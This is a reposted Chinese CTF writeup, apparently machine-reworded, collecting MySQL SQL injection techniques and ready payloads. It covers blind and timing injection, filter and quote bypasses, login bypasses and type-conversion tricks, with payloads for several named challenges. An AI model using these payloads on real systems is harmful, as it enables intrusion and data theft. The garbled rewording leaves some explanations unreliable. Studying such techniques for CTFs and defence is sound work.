首页 » 网站建设 » ctfwriteupphp注入技巧_分享一下本人在CTF比赛中SQL注入的一些小技巧

ctfwriteupphp注入技巧_分享一下本人在CTF比赛中SQL注入的一些小技巧

访客 2024-11-22 0

扫一扫用手机浏览

文章目录 [+]

正文符

以下是Mysql中可以或许用到的单行正文符:

ctfwriteupphp注入技巧_分享一下本人在CTF比赛中SQL注入的一些小技巧

# -- -

ctfwriteupphp注入技巧_分享一下本人在CTF比赛中SQL注入的一些小技巧
(图片来自网络侵删)

以下是Mysql中可以或许用到的多行正文符(mysql下必要闭合):

/

断定往后库能否有字段名

对付CTF中的题,某些可以或许间接断定有没有flag表1′ or(flag)比方:全表

用or试一下

这里解释一下为何or的成果为何不全,说白了也便是atoi函数的特色

or(列名)实在是遍历字段名中的每一个值而后选取那些不为false的内容,由于在mysql中’ssdd’字符串默许即是0即是false以是不表现,而’4ddf’如许的字符串默许即是4,也便是true也就会前往了

limit下的字段数断定

家喻户晓where条件下的字段数可以或许用order by断定,而limit后可以或许运用 1,into @,@ (@为字段数)断定字段数@为mysql暂时变量,

道理请看http://www.w3school.com.cn/sql/sql_select_into.asp

or条件下的回显

以前总是对where id='1' or '1'='1'where id='0' or '1'='1'的回显一直不是很懂得,以是本日搭建情形测试了一下,以下可见

以是预测在or条件下先后如果都为真则前往统统成果,不然只前往条件为真的一方的值

concat与concat_ws与group_concat

1.2 MySQL的concat函数在衔接字符串的时候,只需此中一个是NULL,那末将前往NULLMySQL的concat函数在衔接字符串的时候,只需此中一个是NULL,那末将前往NULL

mysql> select concat('11','22',null);+------------------------+| concat('11','22',null) |+------------------------+| NULL |+------------------------+1 row in set (0.00 sec)

和concat不合的是, concat_ws函数在履行的时候,不会由于NULL值而前往NULL

mysql> select concat_ws(',','11','22',NULL);+-------------------------------+| concat_ws(',','11','22',NULL) |+-------------------------------+| 11,22 |+-------------------------------+1 row in set (0.00 sec)

盲注下的条件语句和光阴函数

这是我头几天刷wechall碰到的题,比方一下注入语句

select from test1 where id='$_GET[id]';

已知没有回显位,id=3和id=1前往成果不合样而且过滤了’,空格,等等一堆关键词,不存在宽字节注入给个B徒弟当时的payload

if(substr(flag,1,1)in(0x41),3,0)

写个剧本爆破之可得flag而基于光阴的注入以前都是一直用的if(xxxxxx,1,sleep(2));最也发明了一个更好的函数BENCHMARK

IF(left(version(),1,1)=5, BENCHMARK(100000,SHA1('1')), 1)

BENCHMARK函数是指履行某函数的次数,次数多时可以或许到达与sleep函数雷同的后果

逻辑操纵符被过滤

先放一波like语法http://www.runoob.com/mysql/mysql-like-clause.html

绕过\’被过滤

hex编码

SELECT password FROM Users WHERE username = 0x61646D696E

char编码

SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

html实体字符编码

SELECT FROM Users WHERE username = 'admin'

%2527

这里主要是由于绕过magic_quotes_gpc过滤,由于%25解码为%,联合后面的27也便是%27也便是',以是胜利绕过过滤。

宽字节就不说了gbk编码在单引号后面加一个%df便可

表名等关键字被过滤

以information_schema.tables为例

空格 information_schema . tables

着重号 information</em>schema.tables

特殊符 /!informationschema.tables/

别号 information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)

表单认证绕过

这里选两题一题是试验吧的web分类第一题

\"大众SELECT username FROM users WHERE username='$username' AND password='$password'\"大众

如许的间接username=admin'#便可,或许username='='&password='='如许就可以构造出

\"大众SELECT username FROM users WHERE username=''='' AND password=''=''\"大众

以是逻辑断定绕过第二题是iscc的简单注入,预测大抵后盾语句以下,PS:后盾暗码是md5处置过的

$results = SELECT password FROM users WHERE username='$username'if($results==$_GET[$password]){

这里可以或许构造username=0' union select md5(1)#&password=1

Mysql字符编码运用技能

传入的username=admin%c2,php的检测if ($username === ‘admin’)天然就可以够绕过的,在mysql中可以或许失落常查出username=’admin’的成果,道理是Mysql在转换字符集的时候,将不完备的字符给轻忽了。
详细可参照P徒弟文章https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html

隐式范例转换

这里先上几个图,自行领会精力

这里为何咱们输出为何name=0会招致前往数据呢?实在这里跟php弱范例有殊途同归之妙,mysql在比拟一个整数和一个字符串也会强制把字符串转化为整数停滞比拟,并前往一个warning,以是这里

pupiladmin

都会被转换为0以是与0比拟相称,那末咱们进一步料想那一个非0开头的字符串强制转化是什么呢

因而可知,与PHP同样,mysql也会把字符串强制转化为开头的数字,若开头是字母则强制转化为0,那咱们若何运用这一黑邪术呢,家喻户晓,mysql同样平常都是字符型注入,很少罕有字型注入的,就像where username='input'如许,咱们纯洁的输出数字是会被转化成字符串的,就像如许

这时候咱们就必要做一些操纵来构造注入点了,好比运用算术运算符

+,-,,/,%

又或许位操纵符

&,|,^

上面咱们以+为例停滞演示

过滤了&,|,,/,=等逻辑处置字符

可以或许用in,exists,position..in,>,<,!,<>,like等操纵符绕过这个链接有详细先容http://www.runoob.com/mysql/mysql-like-clause.html这里举一个例子,好比要运用sql盲注的话但是过滤了substr,mid,asccii,ord等函数可以或许运用一下语句

admin' AND password LIKE \"大众p%\公众 --

一点实战例子

陕西省网络空间安然

过滤了

/ |\|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|\公众.urldecode('%09').\"大众|\"大众.urldecode(\"大众%0a\"大众).\"大众|\公众.urldecode(\"大众%0b\公众).\公众|\公众.urldecode('%0c').\"大众|\"大众.urldecode('%0d').\"大众|\"大众.urldecode('%a0').\"大众/i\"大众

这里没有过滤^,以是可以或许绕过,payload

username=admin'^(ascii(mid((passwd)from(1)))>=10)^'1'='1

pwnhubcuit校赛

过滤了

/ |\|#|,|union|like|sleep|regexp|left|right|strcmp|substr|=|limit|instr|benchmark|oct|\/|format|lpad|rpad|mod|insert|lower|bin|mid|hex|substring|ord|and|field|file|ascii|char|—|\|&|\"大众.urldecode('%09').\"大众|\"大众.urldecode(\"大众%0a\"大众).\"大众|\"大众.urldecode(\"大众%0b\公众).\公众|\"大众.urldecode('%0c').\"大众|\"大众.urldecode('%0d').\"大众|\"大众.urldecode('%20').\公众|\"大众.urldecode('%a0').\公众/i

这里过滤了&,|,,=等标记和substring,mid可以或许运用in,exists,>,<,<>,比拟运算符绕过,payload

'where((table_schema)in(0x6261636b656e64)))r)where((table_name<0x74)))>0x{0})'

webhacking,kr

过滤了

union|and|||&|=|urldecode(\"大众%0b\"大众).\"大众|\"大众.urldecode('%0c').\"大众|\公众.urldecode('%0d').\公众|\"大众.urldeco

这里这里if和substr都没被过滤,而且空格可以或许被%0a绕过,以是payload

%0aor%0aif(substr((select%0aflag%0afrom%0aprob13password),1,1)in(\"大众0x41\"大众),1,0)

末了总结一下注入题(手工注入。

)的同样平常思绪(大牛轻喷),对付同样平常注入首先要找到注入点,好比有许多参数的先肯定哪一个参数好注入,再测验考试有没有过滤或许过滤了那些字符,waf本身能否有问题招致间接可以或许大小写,双写,编码绕过的。
固然同样平常ctf中的题注入如果有waf同样平常都是过滤不完备的,耐烦点就可以够找出payload,末了便是留神一下参数提交的方法,有时候一些标题get方法过滤的很严厉但是post只是意味性的过滤一下,另有一些用$_REQUEST方法的留神除get和post还可以或许测验考试cookie注入。

标签:

相关文章

C语言读写器,技术革新下的数据读写新篇章

随着科技的不断发展,数据读写技术在各个领域都扮演着至关重要的角色。在众多编程语言中,C语言以其高效、稳定、易学等特性,成为了数据读...

网站建设 2024-12-26 阅读0 评论0

C语言词法,编程之路的基石

C语言作为一门历史悠久、应用广泛的编程语言,已经走过了几十年的风雨历程。在这漫长的岁月里,C语言以其卓越的性能和丰富的功能,赢得了...

网站建设 2024-12-26 阅读0 评论0

C语言编译,从代码到机器语言的奇妙之旅

在计算机科学的世界里,编程语言是沟通人与机器的桥梁。C语言作为一门历史悠久、应用广泛的编程语言,其编译过程更是充满了奥秘。本文将带...

网站建设 2024-12-26 阅读0 评论0

C语言编程视角下的日历设计与实现

自古以来,日历就是人们日常生活中不可或缺的工具。随着计算机技术的发展,编程语言在日历的设计与实现中发挥了越来越重要的作用。本文将从...

网站建设 2024-12-26 阅读0 评论0

香港IT行业发展趋势及未来展望

随着全球经济的快速发展,信息技术(IT)产业已成为推动经济增长的重要引擎。香港作为国际金融中心和科技创新基地,其IT行业的发展备受...

网站建设 2024-12-26 阅读0 评论0